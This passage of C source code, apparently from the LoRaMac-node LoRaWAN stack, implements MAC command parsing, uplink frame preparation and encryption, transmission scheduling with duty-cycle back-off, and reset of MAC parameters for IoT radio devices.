MacCtx.NvmCtx->MacParams.UplinkDwellTime; linkAdrReq.CurrentDatarate = MacCtx.NvmCtx->MacParams.ChannelsDatarate; linkAdrReq.CurrentTxPower = MacCtx.NvmCtx->MacParams.ChannelsTxPower; linkAdrReq.CurrentNbRep = MacCtx.NvmCtx->MacParams.ChannelsNbTrans; linkAdrReq.Version = MacCtx.NvmCtx->Version; // Process the ADR requests status = RegionLinkAdrReq( MacCtx.NvmCtx->Region, &linkAdrReq, &linkAdrDatarate, &linkAdrTxPower, &linkAdrNbRep, &linkAdrNbBytesParsed ); if( ( status & 0x07 ) == 0x07 ) { MacCtx.NvmCtx->MacParams.ChannelsDatarate = linkAdrDatarate; MacCtx.NvmCtx->MacParams.ChannelsTxPower = linkAdrTxPower; MacCtx.NvmCtx->MacParams.ChannelsNbTrans = linkAdrNbRep; } // Add the answers to the buffer for( uint8_t i = 0; i < ( linkAdrNbBytesParsed / 5 ); i++ ) { LoRaMacCommandsAddCmd( MOTE_MAC_LINK_ADR_ANS, &status, 1 ); } // Update MAC index macIndex += linkAdrNbBytesParsed - 1; } break; } case SRV_MAC_DUTY_CYCLE_REQ: { MacCtx.NvmCtx->MaxDCycle = payload[macIndex++] & 0x0F; MacCtx.NvmCtx->AggregatedDCycle = 1 << MacCtx.NvmCtx->MaxDCycle; LoRaMacCommandsAddCmd( MOTE_MAC_DUTY_CYCLE_ANS, macCmdPayload, 0 ); break; } case SRV_MAC_RX_PARAM_SETUP_REQ: { RxParamSetupReqParams_t rxParamSetupReq; status = 0x07; rxParamSetupReq.DrOffset = ( payload[macIndex] >> 4 ) & 0x07; rxParamSetupReq.Datarate = payload[macIndex] & 0x0F; macIndex++; rxParamSetupReq.Frequency = ( uint32_t ) payload[macIndex++]; rxParamSetupReq.Frequency |= ( uint32_t ) payload[macIndex++] << 8; rxParamSetupReq.Frequency |= ( uint32_t ) payload[macIndex++] << 16; rxParamSetupReq.Frequency *= 100; // Perform request on region status = RegionRxParamSetupReq( MacCtx.NvmCtx->Region, &rxParamSetupReq ); if( ( status & 0x07 ) == 0x07 ) { MacCtx.NvmCtx->MacParams.Rx2Channel.Datarate = rxParamSetupReq.Datarate; MacCtx.NvmCtx->MacParams.RxCChannel.Datarate = rxParamSetupReq.Datarate; MacCtx.NvmCtx->MacParams.Rx2Channel.Frequency = rxParamSetupReq.Frequency; MacCtx.NvmCtx->MacParams.RxCChannel.Frequency = rxParamSetupReq.Frequency; MacCtx.NvmCtx->MacParams.Rx1DrOffset = rxParamSetupReq.DrOffset; } macCmdPayload[0] = status; LoRaMacCommandsAddCmd( MOTE_MAC_RX_PARAM_SETUP_ANS, macCmdPayload, 1 ); // Setup indication to inform the application SetMlmeScheduleUplinkIndication( ); break; } case SRV_MAC_DEV_STATUS_REQ: { uint8_t batteryLevel = BAT_LEVEL_NO_MEASURE; if( ( MacCtx.MacCallbacks != NULL ) && ( MacCtx.MacCallbacks->GetBatteryLevel != NULL ) ) { batteryLevel = MacCtx.MacCallbacks->GetBatteryLevel( ); } macCmdPayload[0] = batteryLevel; macCmdPayload[1] = ( uint8_t )( snr & 0x3F ); LoRaMacCommandsAddCmd( MOTE_MAC_DEV_STATUS_ANS, macCmdPayload, 2 ); break; } case SRV_MAC_NEW_CHANNEL_REQ: { NewChannelReqParams_t newChannelReq; ChannelParams_t chParam; status = 0x03; newChannelReq.ChannelId = payload[macIndex++]; newChannelReq.NewChannel = &chParam; chParam.Frequency = ( uint32_t ) payload[macIndex++]; chParam.Frequency |= ( uint32_t ) payload[macIndex++] << 8; chParam.Frequency |= ( uint32_t ) payload[macIndex++] << 16; chParam.Frequency *= 100; chParam.Rx1Frequency = 0; chParam.DrRange.Value = payload[macIndex++]; status = RegionNewChannelReq( MacCtx.NvmCtx->Region, &newChannelReq ); macCmdPayload[0] = status; LoRaMacCommandsAddCmd( MOTE_MAC_NEW_CHANNEL_ANS, macCmdPayload, 1 ); break; } case SRV_MAC_RX_TIMING_SETUP_REQ: { uint8_t delay = payload[macIndex++] & 0x0F; if( delay == 0 ) { delay++; } MacCtx.NvmCtx->MacParams.ReceiveDelay1 = delay * 1000; MacCtx.NvmCtx->MacParams.ReceiveDelay2 = MacCtx.NvmCtx->MacParams.ReceiveDelay1 + 1000; LoRaMacCommandsAddCmd( MOTE_MAC_RX_TIMING_SETUP_ANS, macCmdPayload, 0 ); // Setup indication to inform the application SetMlmeScheduleUplinkIndication( ); break; } case SRV_MAC_TX_PARAM_SETUP_REQ: { TxParamSetupReqParams_t txParamSetupReq; GetPhyParams_t getPhy; PhyParam_t phyParam; uint8_t eirpDwellTime = payload[macIndex++]; txParamSetupReq.UplinkDwellTime = 0; txParamSetupReq.DownlinkDwellTime = 0; if( ( eirpDwellTime & 0x20 ) == 0x20 ) { txParamSetupReq.DownlinkDwellTime = 1; } if( ( eirpDwellTime & 0x10 ) == 0x10 ) { txParamSetupReq.UplinkDwellTime = 1; } txParamSetupReq.MaxEirp = eirpDwellTime & 0x0F; // Check the status for correctness if( RegionTxParamSetupReq( MacCtx.NvmCtx->Region, &txParamSetupReq ) != -1 ) { // Accept command MacCtx.NvmCtx->MacParams.UplinkDwellTime = txParamSetupReq.UplinkDwellTime; MacCtx.NvmCtx->MacParams.DownlinkDwellTime = txParamSetupReq.DownlinkDwellTime; MacCtx.NvmCtx->MacParams.MaxEirp = LoRaMacMaxEirpTable[txParamSetupReq.MaxEirp]; // Update the datarate in case of the new configuration limits it getPhy.Attribute = PHY_MIN_TX_DR; getPhy.UplinkDwellTime = MacCtx.NvmCtx->MacParams.UplinkDwellTime; phyParam = RegionGetPhyParam( MacCtx.NvmCtx->Region, &getPhy ); MacCtx.NvmCtx->MacParams.ChannelsDatarate = MAX( MacCtx.NvmCtx->MacParams.ChannelsDatarate, ( int8_t )phyParam.Value ); // Add command response LoRaMacCommandsAddCmd( MOTE_MAC_TX_PARAM_SETUP_ANS, macCmdPayload, 0 ); } break; } case SRV_MAC_DL_CHANNEL_REQ: { DlChannelReqParams_t dlChannelReq; status = 0x03; dlChannelReq.ChannelId = payload[macIndex++]; dlChannelReq.Rx1Frequency = ( uint32_t ) payload[macIndex++]; dlChannelReq.Rx1Frequency |= ( uint32_t ) payload[macIndex++] << 8; dlChannelReq.Rx1Frequency |= ( uint32_t ) payload[macIndex++] << 16; dlChannelReq.Rx1Frequency *= 100; status = RegionDlChannelReq( MacCtx.NvmCtx->Region, &dlChannelReq ); macCmdPayload[0] = status; LoRaMacCommandsAddCmd( MOTE_MAC_DL_CHANNEL_ANS, macCmdPayload, 1 ); // Setup indication to inform the application SetMlmeScheduleUplinkIndication( ); break; } case SRV_MAC_DEVICE_TIME_ANS: { SysTime_t gpsEpochTime = { 0 }; SysTime_t sysTime = { 0 }; SysTime_t sysTimeCurrent = { 0 }; gpsEpochTime.Seconds = ( uint32_t )payload[macIndex++]; gpsEpochTime.Seconds |= ( uint32_t )payload[macIndex++] << 8; gpsEpochTime.Seconds |= ( uint32_t )payload[macIndex++] << 16; gpsEpochTime.Seconds |= ( uint32_t )payload[macIndex++] << 24; gpsEpochTime.SubSeconds = payload[macIndex++]; // Convert the fractional second received in ms // round( pow( 0.5, 8.0 ) * 1000 ) = 3.90625 gpsEpochTime.SubSeconds = ( int16_t )( ( ( int32_t )gpsEpochTime.SubSeconds * 1000 ) >> 8 ); // Copy received GPS Epoch time into system time sysTime = gpsEpochTime; // Add Unix to Gps epcoh offset. The system time is based on Unix time. sysTime.Seconds += UNIX_GPS_EPOCH_OFFSET; // Compensate time difference between Tx Done time and now sysTimeCurrent = SysTimeGet( ); sysTime = SysTimeAdd( sysTimeCurrent, SysTimeSub( sysTime, MacCtx.LastTxSysTime ) ); // Apply the new system time. SysTimeSet( sysTime ); LoRaMacClassBDeviceTimeAns( ); MacCtx.McpsIndication.DeviceTimeAnsReceived = true; break; } case SRV_MAC_PING_SLOT_INFO_ANS: { // According to the specification, it is not allowed to process this answer in // a ping or multicast slot if( ( MacCtx.RxSlot != RX_SLOT_WIN_CLASS_B_PING_SLOT ) && ( MacCtx.RxSlot != RX_SLOT_WIN_CLASS_B_MULTICAST_SLOT ) ) { LoRaMacClassBPingSlotInfoAns( ); } break; } case SRV_MAC_PING_SLOT_CHANNEL_REQ: { uint8_t status = 0x03; uint32_t frequency = 0; uint8_t datarate; frequency = ( uint32_t )payload[macIndex++]; frequency |= ( uint32_t )payload[macIndex++] << 8; frequency |= ( uint32_t )payload[macIndex++] << 16; frequency *= 100; datarate = payload[macIndex++] & 0x0F; status = LoRaMacClassBPingSlotChannelReq( datarate, frequency ); macCmdPayload[0] = status; LoRaMacCommandsAddCmd( MOTE_MAC_PING_SLOT_FREQ_ANS, macCmdPayload, 1 ); break; } case SRV_MAC_BEACON_TIMING_ANS: { uint16_t beaconTimingDelay = 0; uint8_t beaconTimingChannel = 0; beaconTimingDelay = ( uint16_t )payload[macIndex++]; beaconTimingDelay |= ( uint16_t )payload[macIndex++] << 8; beaconTimingChannel = payload[macIndex++]; LoRaMacClassBBeaconTimingAns( beaconTimingDelay, beaconTimingChannel, RxDoneParams.LastRxDone ); break; } case SRV_MAC_BEACON_FREQ_REQ: { uint32_t frequency = 0; frequency = ( uint32_t )payload[macIndex++]; frequency |= ( uint32_t )payload[macIndex++] << 8; frequency |= ( uint32_t )payload[macIndex++] << 16; frequency *= 100; if( LoRaMacClassBBeaconFreqReq( frequency ) == true ) { macCmdPayload[0] = 1; } else { macCmdPayload[0] = 0; } LoRaMacCommandsAddCmd( MOTE_MAC_BEACON_FREQ_ANS, macCmdPayload, 1 ); } break; default: // Unknown command. ABORT MAC commands processing return; } } } LoRaMacStatus_t Send( LoRaMacHeader_t* macHdr, uint8_t fPort, void* fBuffer, uint16_t fBufferSize ) { LoRaMacFrameCtrl_t fCtrl; LoRaMacStatus_t status = LORAMAC_STATUS_PARAMETER_INVALID; int8_t datarate = MacCtx.NvmCtx->MacParams.ChannelsDatarate; int8_t txPower = MacCtx.NvmCtx->MacParams.ChannelsTxPower; uint32_t adrAckCounter = MacCtx.NvmCtx->AdrAckCounter; CalcNextAdrParams_t adrNext; // Check if we are joined if( MacCtx.NvmCtx->NetworkActivation == ACTIVATION_TYPE_NONE ) { return LORAMAC_STATUS_NO_NETWORK_JOINED; } if( MacCtx.NvmCtx->MaxDCycle == 0 ) { MacCtx.NvmCtx->AggregatedTimeOff = 0; } fCtrl.Value = 0; fCtrl.Bits.FOptsLen = 0; fCtrl.Bits.Adr = MacCtx.NvmCtx->AdrCtrlOn; // Check class b if( MacCtx.NvmCtx->DeviceClass == CLASS_B ) { fCtrl.Bits.FPending = 1; } else { fCtrl.Bits.FPending = 0; } // Check server ack if( MacCtx.NvmCtx->SrvAckRequested == true ) { fCtrl.Bits.Ack = 1; } // ADR next request adrNext.Version = MacCtx.NvmCtx->Version; adrNext.UpdateChanMask = true; adrNext.AdrEnabled = fCtrl.Bits.Adr; adrNext.AdrAckCounter = MacCtx.NvmCtx->AdrAckCounter; adrNext.AdrAckLimit = MacCtx.AdrAckLimit; adrNext.AdrAckDelay = MacCtx.AdrAckDelay; adrNext.Datarate = MacCtx.NvmCtx->MacParams.ChannelsDatarate; adrNext.TxPower = MacCtx.NvmCtx->MacParams.ChannelsTxPower; adrNext.UplinkDwellTime = MacCtx.NvmCtx->MacParams.UplinkDwellTime; adrNext.Region = MacCtx.NvmCtx->Region; fCtrl.Bits.AdrAckReq = LoRaMacAdrCalcNext( &adrNext, &MacCtx.NvmCtx->MacParams.ChannelsDatarate, &MacCtx.NvmCtx->MacParams.ChannelsTxPower, &adrAckCounter ); // Prepare the frame status = PrepareFrame( macHdr, &fCtrl, fPort, fBuffer, fBufferSize ); // Validate status if( ( status == LORAMAC_STATUS_OK ) || ( status == LORAMAC_STATUS_SKIPPED_APP_DATA ) ) { // Schedule frame, do not allow delayed transmissions status = ScheduleTx( false ); } // Post processing if( status != LORAMAC_STATUS_OK ) { // Bad case - restore // Store local variables MacCtx.NvmCtx->MacParams.ChannelsDatarate = datarate; MacCtx.NvmCtx->MacParams.ChannelsTxPower = txPower; } else { // Good case MacCtx.NvmCtx->SrvAckRequested = false; MacCtx.NvmCtx->AdrAckCounter = adrAckCounter; // Remove all none sticky MAC commands if( LoRaMacCommandsRemoveNoneStickyCmds( ) != LORAMAC_COMMANDS_SUCCESS ) { return LORAMAC_STATUS_MAC_COMMAD_ERROR; } } return status; } LoRaMacStatus_t SendReJoinReq( JoinReqIdentifier_t joinReqType ) { LoRaMacStatus_t status = LORAMAC_STATUS_OK; LoRaMacHeader_t macHdr; macHdr.Value = 0; bool allowDelayedTx = true; // Setup join/rejoin message switch( joinReqType ) { case JOIN_REQ: { SwitchClass( CLASS_A ); MacCtx.TxMsg.Type = LORAMAC_MSG_TYPE_JOIN_REQUEST; MacCtx.TxMsg.Message.JoinReq.Buffer = MacCtx.PktBuffer; MacCtx.TxMsg.Message.JoinReq.BufSize = LORAMAC_PHY_MAXPAYLOAD; macHdr.Bits.MType = FRAME_TYPE_JOIN_REQ; MacCtx.TxMsg.Message.JoinReq.MHDR.Value = macHdr.Value; memcpy1( MacCtx.TxMsg.Message.JoinReq.JoinEUI, SecureElementGetJoinEui( ), LORAMAC_JOIN_EUI_FIELD_SIZE ); memcpy1( MacCtx.TxMsg.Message.JoinReq.DevEUI, SecureElementGetDevEui( ), LORAMAC_DEV_EUI_FIELD_SIZE ); allowDelayedTx = false; break; } default: status = LORAMAC_STATUS_SERVICE_UNKNOWN; break; } // Schedule frame status = ScheduleTx( allowDelayedTx ); return status; } static LoRaMacStatus_t CheckForClassBCollision( void ) { if( LoRaMacClassBIsBeaconExpected( ) == true ) { return LORAMAC_STATUS_BUSY_BEACON_RESERVED_TIME; } if( MacCtx.NvmCtx->DeviceClass == CLASS_B ) { if( LoRaMacClassBIsPingExpected( ) == true ) { return LORAMAC_STATUS_BUSY_PING_SLOT_WINDOW_TIME; } else if( LoRaMacClassBIsMulticastExpected( ) == true ) { return LORAMAC_STATUS_BUSY_PING_SLOT_WINDOW_TIME; } } return LORAMAC_STATUS_OK; } static LoRaMacStatus_t ScheduleTx( bool allowDelayedTx ) { LoRaMacStatus_t status = LORAMAC_STATUS_PARAMETER_INVALID; TimerTime_t dutyCycleTimeOff = 0; NextChanParams_t nextChan; size_t macCmdsSize = 0; // Check class b collisions status = CheckForClassBCollision( ); if( status != LORAMAC_STATUS_OK ) { return status; } // Update back-off CalculateBackOff( MacCtx.NvmCtx->LastTxChannel ); nextChan.AggrTimeOff = MacCtx.NvmCtx->AggregatedTimeOff; nextChan.Datarate = MacCtx.NvmCtx->MacParams.ChannelsDatarate; nextChan.DutyCycleEnabled = MacCtx.NvmCtx->DutyCycleOn; nextChan.QueryNextTxDelayOnly = false; nextChan.Joined = false; if( MacCtx.NvmCtx->NetworkActivation != ACTIVATION_TYPE_NONE ) { nextChan.Joined = true; } nextChan.LastAggrTx = MacCtx.NvmCtx->LastTxDoneTime; // Select channel status = RegionNextChannel( MacCtx.NvmCtx->Region, &nextChan, &MacCtx.Channel, &dutyCycleTimeOff, &MacCtx.NvmCtx->AggregatedTimeOff ); if( status != LORAMAC_STATUS_OK ) { if( ( status == LORAMAC_STATUS_DUTYCYCLE_RESTRICTED ) && ( allowDelayedTx == true ) ) { // Allow delayed transmissions. We have to allow it in case // the MAC must retransmit a frame with the frame repetitions if( dutyCycleTimeOff != 0 ) {// Send later - prepare timer MacCtx.MacState |= LORAMAC_TX_DELAYED; TimerSetValue( &MacCtx.TxDelayedTimer, dutyCycleTimeOff ); TimerStart( &MacCtx.TxDelayedTimer ); } return LORAMAC_STATUS_OK; } else {// State where the MAC cannot send a frame return status; } } // Compute Rx1 windows parameters RegionComputeRxWindowParameters( MacCtx.NvmCtx->Region, RegionApplyDrOffset( MacCtx.NvmCtx->Region, MacCtx.NvmCtx->MacParams.DownlinkDwellTime, MacCtx.NvmCtx->MacParams.ChannelsDatarate, MacCtx.NvmCtx->MacParams.Rx1DrOffset ), MacCtx.NvmCtx->MacParams.MinRxSymbols, MacCtx.NvmCtx->MacParams.SystemMaxRxError, &MacCtx.RxWindow1Config ); // Compute Rx2 windows parameters RegionComputeRxWindowParameters( MacCtx.NvmCtx->Region, MacCtx.NvmCtx->MacParams.Rx2Channel.Datarate, MacCtx.NvmCtx->MacParams.MinRxSymbols, MacCtx.NvmCtx->MacParams.SystemMaxRxError, &MacCtx.RxWindow2Config ); if( MacCtx.NvmCtx->NetworkActivation == ACTIVATION_TYPE_NONE ) { MacCtx.RxWindow1Delay = MacCtx.NvmCtx->MacParams.JoinAcceptDelay1 + MacCtx.RxWindow1Config.WindowOffset; MacCtx.RxWindow2Delay = MacCtx.NvmCtx->MacParams.JoinAcceptDelay2 + MacCtx.RxWindow2Config.WindowOffset; } else { if( LoRaMacCommandsGetSizeSerializedCmds( &macCmdsSize ) != LORAMAC_COMMANDS_SUCCESS ) { return LORAMAC_STATUS_MAC_COMMAD_ERROR; } if( ValidatePayloadLength( MacCtx.AppDataSize, MacCtx.NvmCtx->MacParams.ChannelsDatarate, macCmdsSize ) == false ) { return LORAMAC_STATUS_LENGTH_ERROR; } MacCtx.RxWindow1Delay = MacCtx.NvmCtx->MacParams.ReceiveDelay1 + MacCtx.RxWindow1Config.WindowOffset; MacCtx.RxWindow2Delay = MacCtx.NvmCtx->MacParams.ReceiveDelay2 + MacCtx.RxWindow2Config.WindowOffset; } // Secure frame LoRaMacStatus_t retval = SecureFrame( MacCtx.NvmCtx->MacParams.ChannelsDatarate, MacCtx.Channel ); if( retval != LORAMAC_STATUS_OK ) { return retval; } // Try to send now return SendFrameOnChannel( MacCtx.Channel ); } static LoRaMacStatus_t SecureFrame( uint8_t txDr, uint8_t txCh ) { LoRaMacCryptoStatus_t macCryptoStatus = LORAMAC_CRYPTO_ERROR; uint32_t fCntUp = 0; switch( MacCtx.TxMsg.Type ) { case LORAMAC_MSG_TYPE_JOIN_REQUEST: macCryptoStatus = LoRaMacCryptoPrepareJoinRequest( &MacCtx.TxMsg.Message.JoinReq ); if( LORAMAC_CRYPTO_SUCCESS != macCryptoStatus ) { return LORAMAC_STATUS_CRYPTO_ERROR; } MacCtx.PktBufferLen = MacCtx.TxMsg.Message.JoinReq.BufSize; break; case LORAMAC_MSG_TYPE_DATA: if( LORAMAC_CRYPTO_SUCCESS != LoRaMacCryptoGetFCntUp( &fCntUp ) ) { return LORAMAC_STATUS_FCNT_HANDLER_ERROR; } if( ( MacCtx.ChannelsNbTransCounter >= 1 ) || ( MacCtx.AckTimeoutRetriesCounter > 1 ) ) { fCntUp -= 1; } macCryptoStatus = LoRaMacCryptoSecureMessage( fCntUp, txDr, txCh, &MacCtx.TxMsg.Message.Data ); if( LORAMAC_CRYPTO_SUCCESS != macCryptoStatus ) { return LORAMAC_STATUS_CRYPTO_ERROR; } MacCtx.PktBufferLen = MacCtx.TxMsg.Message.Data.BufSize; break; case LORAMAC_MSG_TYPE_JOIN_ACCEPT: case LORAMAC_MSG_TYPE_UNDEF: default: return LORAMAC_STATUS_PARAMETER_INVALID; } return LORAMAC_STATUS_OK; } static void CalculateBackOff( uint8_t channel ) { CalcBackOffParams_t calcBackOff; if( MacCtx.NvmCtx->NetworkActivation == ACTIVATION_TYPE_NONE ) { calcBackOff.Joined = false; } else { calcBackOff.Joined = true; } calcBackOff.DutyCycleEnabled = MacCtx.NvmCtx->DutyCycleOn; calcBackOff.Channel = channel; calcBackOff.ElapsedTime = SysTimeSub( SysTimeGetMcuTime( ), MacCtx.NvmCtx->InitializationTime ); calcBackOff.TxTimeOnAir = MacCtx.TxTimeOnAir; calcBackOff.LastTxIsJoinRequest = false; if( MacCtx.NvmCtx->NetworkActivation == ACTIVATION_TYPE_NONE ) { calcBackOff.LastTxIsJoinRequest = true; } // Update regional back-off RegionCalcBackOff( MacCtx.NvmCtx->Region, &calcBackOff ); // Update aggregated time-off. This must be an assignment and no incremental // update as we do only calculate the time-off based on the last transmission MacCtx.NvmCtx->AggregatedTimeOff = ( MacCtx.TxTimeOnAir * MacCtx.NvmCtx->AggregatedDCycle - MacCtx.TxTimeOnAir ); } static void RemoveMacCommands( LoRaMacRxSlot_t rxSlot, LoRaMacFrameCtrl_t fCtrl, Mcps_t request ) { if( rxSlot == RX_SLOT_WIN_1 || rxSlot == RX_SLOT_WIN_2 ) { // Remove all sticky MAC commands answers since we can assume // that they have been received by the server. if( request == MCPS_CONFIRMED ) { if( fCtrl.Bits.Ack == 1 ) { // For confirmed uplinks only if we have received an ACK. LoRaMacCommandsRemoveStickyAnsCmds( ); } } else { LoRaMacCommandsRemoveStickyAnsCmds( ); } } } static void ResetMacParameters( void ) { MacCtx.NvmCtx->NetworkActivation = ACTIVATION_TYPE_NONE; // ADR counter MacCtx.NvmCtx->AdrAckCounter = 0; MacCtx.ChannelsNbTransCounter = 0; MacCtx.AckTimeoutRetries = 1; MacCtx.AckTimeoutRetriesCounter = 1; MacCtx.AckTimeoutRetry = false; MacCtx.NvmCtx->MaxDCycle = 0; MacCtx.NvmCtx->AggregatedDCycle = 1; MacCtx.NvmCtx->MacParams.ChannelsTxPower = MacCtx.NvmCtx->MacParamsDefaults.ChannelsTxPower; MacCtx.NvmCtx->MacParams.ChannelsDatarate = MacCtx.NvmCtx->MacParamsDefaults.ChannelsDatarate; MacCtx.NvmCtx->MacParams.Rx1DrOffset = MacCtx.NvmCtx->MacParamsDefaults.Rx1DrOffset; MacCtx.NvmCtx->MacParams.Rx2Channel = MacCtx.NvmCtx->MacParamsDefaults.Rx2Channel; MacCtx.NvmCtx->MacParams.RxCChannel = MacCtx.NvmCtx->MacParamsDefaults.RxCChannel; MacCtx.NvmCtx->MacParams.UplinkDwellTime = MacCtx.NvmCtx->MacParamsDefaults.UplinkDwellTime; MacCtx.NvmCtx->MacParams.DownlinkDwellTime = MacCtx.NvmCtx->MacParamsDefaults.DownlinkDwellTime; MacCtx.NvmCtx->MacParams.MaxEirp = MacCtx.NvmCtx->MacParamsDefaults.MaxEirp; MacCtx.NvmCtx->MacParams.AntennaGain = MacCtx.NvmCtx->MacParamsDefaults.AntennaGain; MacCtx.NodeAckRequested = false; MacCtx.NvmCtx->SrvAckRequested = false; // Reset to application defaults InitDefaultsParams_t params; params.Type = INIT_TYPE_INIT; params.NvmCtx = NULL; RegionInitDefaults( MacCtx.NvmCtx->Region, &params ); // Initialize channel index. MacCtx.Channel = 0; MacCtx.NvmCtx->LastTxChannel = MacCtx.Channel; // Initialize Rx2 config parameters. MacCtx.RxWindow2Config.Channel = MacCtx.Channel; MacCtx.RxWindow2Config.Frequency = MacCtx.NvmCtx->MacParams.Rx2Channel.Frequency; MacCtx.RxWindow2Config.DownlinkDwellTime = MacCtx.NvmCtx->MacParams.DownlinkDwellTime; MacCtx.RxWindow2Config.RxContinuous = false; MacCtx.RxWindow2Config.RxSlot = RX_SLOT_WIN_2; // Initialize RxC config parameters. MacCtx.RxWindowCConfig = MacCtx.RxWindow2Config; MacCtx.RxWindowCConfig.RxContinuous = true; MacCtx.RxWindowCConfig.RxSlot = RX_SLOT_WIN_CLASS_C; } /*! * \brief Initializes and opens the reception window * * \param [IN] rxTimer Window timer to be topped. * \param [IN] rxConfig Window parameters to be setup */ static void RxWindowSetup( TimerEvent_t* rxTimer, RxConfigParams_t* rxConfig ) { TimerStop( rxTimer ); // Ensure the radio is Idle Radio.Standby( ); if( RegionRxConfig( MacCtx.NvmCtx->Region, rxConfig, ( int8_t* )&MacCtx.McpsIndication.RxDatarate ) == true ) { Radio.Rx( MacCtx.NvmCtx->MacParams.MaxRxWindow ); MacCtx.RxSlot = rxConfig->RxSlot; } } static void OpenContinuousRxCWindow( void ) { // Compute RxC windows parameters RegionComputeRxWindowParameters( MacCtx.NvmCtx->Region, MacCtx.NvmCtx->MacParams.RxCChannel.Datarate, MacCtx.NvmCtx->MacParams.MinRxSymbols, MacCtx.NvmCtx->MacParams.SystemMaxRxError, &MacCtx.RxWindowCConfig ); MacCtx.RxWindowCConfig.RxSlot = RX_SLOT_WIN_CLASS_C; // Setup continuous listening MacCtx.RxWindowCConfig.RxContinuous = true; // At this point the Radio should be idle. // Thus, there is no need to set the radio in standby mode. if( RegionRxConfig( MacCtx.NvmCtx->Region, &MacCtx.RxWindowCConfig, ( int8_t* )&MacCtx.McpsIndication.RxDatarate ) == true ) { Radio.Rx( 0 ); // Continuous mode MacCtx.RxSlot = MacCtx.RxWindowCConfig.RxSlot; } } LoRaMacStatus_t PrepareFrame( LoRaMacHeader_t* macHdr, LoRaMacFrameCtrl_t* fCtrl, uint8_t fPort, void* fBuffer, uint16_t fBufferSize ) { MacCtx.PktBufferLen = 0; MacCtx.NodeAckRequested = false; uint32_t fCntUp = 0; size_t macCmdsSize = 0; uint8_t availableSize = 0; if( fBuffer == NULL ) { fBufferSize = 0; } memcpy1( MacCtx.AppData, ( uint8_t* ) fBuffer, fBufferSize ); MacCtx.AppDataSize = fBufferSize; MacCtx.PktBuffer[0] = macHdr->Value; switch( macHdr->Bits.MType ) { case FRAME_TYPE_DATA_CONFIRMED_UP: MacCtx.NodeAckRequested = true; // Intentional fall through case FRAME_TYPE_DATA_UNCONFIRMED_UP: MacCtx.TxMsg.Type = LORAMAC_MSG_TYPE_DATA; MacCtx.TxMsg.Message.Data.Buffer = MacCtx.PktBuffer; MacCtx.TxMsg.Message.Data.BufSize = LORAMAC_PHY_MAXPAYLOAD; MacCtx.TxMsg.Message.Data.MHDR.Value = macHdr->Value; MacCtx.TxMsg.Message.Data.FPort = fPort; MacCtx.TxMsg.Message.Data.FHDR.DevAddr = MacCtx.NvmCtx->DevAddr; MacCtx.TxMsg.Message.Data.FHDR.FCtrl.Value = fCtrl->Value; MacCtx.TxMsg.Message.Data.FRMPayloadSize = MacCtx.AppDataSize; MacCtx.TxMsg.Message.Data.FRMPayload = MacCtx.AppData; if( LORAMAC_CRYPTO_SUCCESS != LoRaMacCryptoGetFCntUp( &fCntUp ) ) { return LORAMAC_STATUS_FCNT_HANDLER_ERROR; } MacCtx.TxMsg.Message.Data.FHDR.FCnt = ( uint16_t )fCntUp; // Reset confirm parameters MacCtx.McpsConfirm.NbRetries = 0; MacCtx.McpsConfirm.AckReceived = false; MacCtx.McpsConfirm.UpLinkCounter = fCntUp; // Handle the MAC commands if there are any available if( LoRaMacCommandsGetSizeSerializedCmds( &macCmdsSize ) != LORAMAC_COMMANDS_SUCCESS ) { return LORAMAC_STATUS_MAC_COMMAD_ERROR; } if( macCmdsSize > 0 ) { availableSize = GetMaxAppPayloadWithoutFOptsLength( MacCtx.NvmCtx->MacParams.ChannelsDatarate ); // There is application payload available and the MAC commands fit into FOpts field. if( ( MacCtx.AppDataSize > 0 ) && ( macCmdsSize <= LORA_MAC_COMMAND_MAX_FOPTS_LENGTH ) ) { if( LoRaMacCommandsSerializeCmds( LORA_MAC_COMMAND_MAX_FOPTS_LENGTH, &macCmdsSize, MacCtx.TxMsg.Message.Data.FHDR.FOpts ) != LORAMAC_COMMANDS_SUCCESS ) { return LORAMAC_STATUS_MAC_COMMAD_ERROR; } fCtrl->Bits.FOptsLen = macCmdsSize; // Update FCtrl field with new value of FOptionsLength MacCtx.TxMsg.Message.Data.FHDR.FCtrl.Value = fCtrl->Value; } // There is application payload available but the MAC commands does NOT fit into FOpts field. else if( ( MacCtx.AppDataSize > 0 ) && ( macCmdsSize > LORA_MAC_COMMAND_MAX_FOPTS_LENGTH ) ) { if( LoRaMacCommandsSerializeCmds( availableSize, &macCmdsSize, MacCtx.NvmCtx->MacCommandsBuffer ) != LORAMAC_COMMANDS_SUCCESS ) { return LORAMAC_STATUS_MAC_COMMAD_ERROR; } return LORAMAC_STATUS_SKIPPED_APP_DATA; } // No application payload available therefore add all mac commands to the FRMPayload. else { if( LoRaMacCommandsSerializeCmds( availableSize, &macCmdsSize, MacCtx.NvmCtx->MacCommandsBuffer ) != LORAMAC_COMMANDS_SUCCESS ) { return LORAMAC_STATUS_MAC_COMMAD_ERROR; } // Force FPort to be zero MacCtx.TxMsg.Message.Data.FPort = 0; MacCtx.TxMsg.Message.Data.FRMPayload = MacCtx.NvmCtx->MacCommandsBuffer; MacCtx.TxMsg.Message.Data.FRMPayloadSize = macCmdsSize; } } break; case FRAME_TYPE_PROPRIETARY: if( ( fBuffer != NULL ) && ( MacCtx.AppDataSize > 0 ) ) { memcpy1( MacCtx.PktBuffer + LORAMAC_MHDR_FIELD_SIZE, ( uint8_t* ) fBuffer, MacCtx.AppDataSize ); MacCtx.PktBufferLen = LORAMAC_MHDR_FIELD_SIZE + MacCtx.AppDataSize; } break; default: return LORAMAC_STATUS_SERVICE_UNKNOWN; } return LORAMAC_STATUS_OK; } LoRaMacStatus_t SendFrameOnChannel( uint8_t channel ) { TxConfigParams_t txConfig; int8_t txPower = 0; txConfig.Channel = channel; txConfig.Datarate = MacCtx.NvmCtx->MacParams.ChannelsDatarate; txConfig.TxPower = MacCtx.NvmCtx->MacParams.ChannelsTxPower; txConfig.MaxEirp = MacCtx.NvmCtx->MacParams.MaxEirp; txConfig.AntennaGain = MacCtx.NvmCtx->MacParams.AntennaGain; txConfig.PktLen = MacCtx.PktBufferLen; RegionTxConfig( MacCtx.NvmCtx->Region, &txConfig, &txPower, &MacCtx.TxTimeOnAir ); MacCtx.McpsConfirm.Status = LORAMAC_EVENT_INFO_STATUS_ERROR; MacCtx.McpsConfirm.Datarate = MacCtx.NvmCtx->MacParams.ChannelsDatarate; MacCtx.McpsConfirm.TxPower = txPower; MacCtx.McpsConfirm.Channel = channel; // Store the time on air MacCtx.McpsConfirm.TxTimeOnAir = MacCtx.TxTimeOnAir; MacCtx.MlmeConfirm.TxTimeOnAir = MacCtx.TxTimeOnAir; 